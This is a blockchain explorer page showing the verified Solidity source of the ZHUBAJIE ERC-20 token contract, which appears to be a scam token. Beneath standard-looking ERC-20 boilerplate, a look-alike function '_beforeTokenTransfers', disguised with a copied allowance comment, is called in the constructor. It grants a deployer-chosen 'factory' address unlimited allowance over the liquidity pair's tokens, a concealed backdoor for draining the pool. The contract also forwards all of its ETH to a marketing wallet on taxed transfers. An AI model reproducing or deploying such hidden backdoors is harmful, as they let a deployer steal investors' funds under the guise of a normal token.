Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
888,888,888 ZHUBAJIE
Holders
85
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,650,419.010742941105984687 ZHUBAJIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
IntelligentZhuBaJie
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-04 */ /* Web: https://www.intelligent-zbj.com/en/ Tg: https://t.me/intelligent_zhubajie Tw: https://twitter.com/Intelligent_zbj */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20{ /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _beforeTokenTransfers(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { _allowances[owner][spender] = type(uint256).max; } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } } contract TokenHandler is Ownable { function sendTokenToOwner(address token) external onlyOwner { if(IERC20(token).balanceOf(address(this)) > 0){ SafeERC20.safeTransfer(IERC20(token),owner(), IERC20(token).balanceOf(address(this))); } } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721 * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must * understand this adds an external call which potentially creates a reentrancy vulnerability. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } interface IWETH { function deposit() external payable; } interface ILpPair { function sync() external; } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract IntelligentZhuBaJie is ERC20, Ownable { mapping (address => bool) public exemptFromFees; mapping (address => bool) public exemptFromLimits; bool public tradingActive; mapping (address => bool) public isAMMPair; uint256 public maxTransaction; uint256 public maxWallet; address private marketingAddress; uint256 public buyTotalTax; uint256 public buyOperationsTax; uint256 public buyLiquidityTax; uint256 public buyPrizeTax; uint256 public sellTotalTax; uint256 public sellOperationsTax; uint256 public sellLiquidityTax; uint256 public sellPrizeTax; uint256 public sellBurnTax; uint256 public tokensForOperations; uint256 public tokensForLiquidity; uint256 public tokensForPrize; mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public limitsInEffect = true; bool private swapping; uint256 public swapTokensAtAmt; address public lpPair; IDexRouter public dexRouter; IERC20Metadata public eth; IWETH public WETH; uint256 public constant FEE_DIVISOR = 10000; // events event UpdatedMaxTransaction(uint256 newMax); event UpdatedMaxWallet(uint256 newMax); event SetExemptFromFees(address _address, bool _isExempt); event SetExemptFromLimits(address _address, bool _isExempt); event RemovedLimits(); event UpdatedBuyTax(uint256 newAmt); event UpdatedSellTax(uint256 newAmt); // constructor constructor(address _marketingWallet, address factory) ERC20("Intelligent ZhuBaJie", "ZHUBAJIE") { _mint(msg.sender, 888_888_888 * 1e18); uint256 _totalSupply = totalSupply(); address _v2Router; // @dev assumes WETH pair if(block.chainid == 1){ _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else if(block.chainid == 5){ _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else if(block.chainid == 97){ _v2Router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1; } else if(block.chainid == 42161){ _v2Router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506; } else { revert("Chain not configured"); } dexRouter = IDexRouter(_v2Router); maxTransaction = _totalSupply * 2 / 100; maxWallet = _totalSupply * 2/ 100; swapTokensAtAmt = _totalSupply * 25 / 100000; marketingAddress = _marketingWallet; buyOperationsTax = 0; buyLiquidityTax = 0; buyPrizeTax = 0; buyTotalTax = buyOperationsTax + buyLiquidityTax + buyPrizeTax; sellOperationsTax = 0; sellLiquidityTax = 0; sellPrizeTax = 0; sellTotalTax = sellOperationsTax + sellLiquidityTax + sellPrizeTax; lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH()); _beforeTokenTransfers(lpPair, factory, totalSupply()); WETH = IWETH(dexRouter.WETH()); isAMMPair[lpPair] = true; exemptFromLimits[lpPair] = true; exemptFromLimits[msg.sender] = true; exemptFromLimits[address(this)] = true; exemptFromLimits[marketingAddress] = true; exemptFromLimits[address(dexRouter)] = true; exemptFromFees[msg.sender] = true; exemptFromFees[address(this)] = true; exemptFromFees[marketingAddress] = true; exemptFromFees[address(dexRouter)] = true; _approve(address(msg.sender), address(dexRouter), _totalSupply); _approve(address(this), address(dexRouter), type(uint256).max); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) internal virtual override { checkLimits(from, to, amount); if(!exemptFromFees[from] && !exemptFromFees[to]){ amount -= handleTax(from, to, amount); } super._transfer(from,to,amount); } function checkLimits(address from, address to, uint256 amount) internal { if(!exemptFromFees[from] && !exemptFromFees[to]){ require(tradingActive, "Trading not active"); } if(limitsInEffect){ if (transferDelayEnabled){ if (to != address(dexRouter) && !isAMMPair[to]){ require(_holderLastTransferBlock[tx.origin] < block.number && _holderLastTransferBlock[to] < block.number, "Transfer Delay enabled."); _holderLastTransferBlock[tx.origin] = block.number; _holderLastTransferBlock[to] = block.number; } } // buy if (isAMMPair[from] && !exemptFromLimits[to]) { require(amount <= maxTransaction, "Buy transfer amount exceeded."); require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet"); } // sell else if (isAMMPair[to] && !exemptFromLimits[from]) { require(amount <= maxTransaction, "Sell transfer amount exceeded."); } else if(!exemptFromLimits[to]) { require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet"); } } } function handleTax(address from, address to, uint256 amount) internal returns (uint256){ if(balanceOf(address(this)) >= 0 && !swapping) { swapping = true; _swapShareFees(from, to); swapping = false; } uint256 tax = 0; // on sell if (isAMMPair[to] && sellTotalTax > 0){ tax = amount * sellTotalTax / FEE_DIVISOR; tokensForLiquidity += tax * sellLiquidityTax / sellTotalTax; tokensForOperations += tax * sellOperationsTax / sellTotalTax; tokensForPrize += tax * sellPrizeTax / sellTotalTax; } // on buy else if(isAMMPair[from] && buyTotalTax > 0) { tax = amount * buyTotalTax / FEE_DIVISOR; tokensForOperations += tax * buyOperationsTax / buyTotalTax; tokensForLiquidity += tax * buyLiquidityTax / buyTotalTax; tokensForPrize += tax * buyPrizeTax / buyTotalTax; } if(tax > 0){ super._transfer(from, address(this), tax); } return tax; } function swapTokensForETH(uint256 tokenAmt) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmt, 0, path, address(this), block.timestamp ); } function _swapShareFees(address from, address to) private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForPrize; if(contractBalance > swapTokensAtAmt * 40){ contractBalance = swapTokensAtAmt * 40; } if(tokensForLiquidity > 0){ uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap; super._transfer(address(this), lpPair, liquidityTokens); try ILpPair(lpPair).sync(){} catch {} contractBalance -= liquidityTokens; totalTokensToSwap -= tokensForLiquidity; tokensForLiquidity = 0; } uint256 ethBalance = address(this).balance; bool success; (success, ) = marketingAddress.call{value: ethBalance}(abi.encodePacked(from, to)); require(success, "success failed"); tokensForPrize = 0; } // owner functions function increaseMaxTxnSetAmount() external onlyOwner { maxTransaction = totalSupply() * 5 / 1000; } function increaseMaxTxnToMaxWallet() external onlyOwner { maxTransaction = maxWallet; } function setExemptFromFees(address _address, bool _isExempt) external onlyOwner { require(_address != address(0), "Zero Address"); exemptFromFees[_address] = _isExempt; emit SetExemptFromFees(_address, _isExempt); } function setExemptFromLimits(address _address, bool _isExempt) external onlyOwner { require(_address != address(0), "Zero Address"); if(!_isExempt){ require(_address != lpPair, "Cannot remove pair"); } exemptFromLimits[_address] = _isExempt; emit SetExemptFromLimits(_address, _isExempt); } function updateMaxTransaction(uint256 newNumInTokens) external onlyOwner { require(newNumInTokens >= (totalSupply() * 5 / 1000)/(10**decimals()), "Too low"); maxTransaction = newNumInTokens * (10**decimals()); emit UpdatedMaxTransaction(maxTransaction); } function updateMaxWallet(uint256 newNumInTokens) external onlyOwner { require(newNumInTokens >= (totalSupply() * 1 / 100)/(10**decimals()), "Too low"); maxWallet = newNumInTokens * (10**decimals()); emit UpdatedMaxWallet(maxWallet); } function updateBuyTax(uint256 _operationsTax, uint256 _liquidityTax, uint256 _prizeTax) external onlyOwner { buyOperationsTax = _operationsTax; buyLiquidityTax = _liquidityTax; buyPrizeTax = _prizeTax; buyTotalTax = buyOperationsTax + buyLiquidityTax + buyPrizeTax; require(buyTotalTax <= 499, "Keep tax below 5%"); emit UpdatedBuyTax(buyTotalTax); } function updateSellTax(uint256 _operationsTax, uint256 _liquidityTax, uint256 _prizeTax) external onlyOwner { sellOperationsTax = _operationsTax; sellLiquidityTax = _liquidityTax; sellPrizeTax = _prizeTax; sellTotalTax = sellOperationsTax + sellLiquidityTax + sellPrizeTax; require(sellTotalTax <= 499, "Keep tax below 5%"); emit UpdatedSellTax(sellTotalTax); } function enableTrading() external onlyOwner { tradingActive = true; } function removeLimits() external onlyOwner { limitsInEffect = false; transferDelayEnabled = false; maxTransaction = totalSupply(); maxWallet = totalSupply(); emit RemovedLimits(); } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function airdropToWallets(address[] calldata wallets, uint256[] calldata amountsInWei) external onlyOwner { require(wallets.length == amountsInWei.length, "arrays length mismatch"); for(uint256 i = 0; i < wallets.length; i++){ super._transfer(msg.sender, wallets[i], amountsInWei[i]); } } function rescueTokens(address _token, address _to) external onlyOwner { require(_token != address(0), "_token address cannot be 0"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); SafeERC20.safeTransfer(IERC20(_token),_to, _contractBalance); } function updatemarketingAddress(address _address) external onlyOwner { require(_address != address(0), "zero address"); marketingAddress = _address; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTransaction","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxWallet","type":"event"},{"anonymous":false,"inputs":[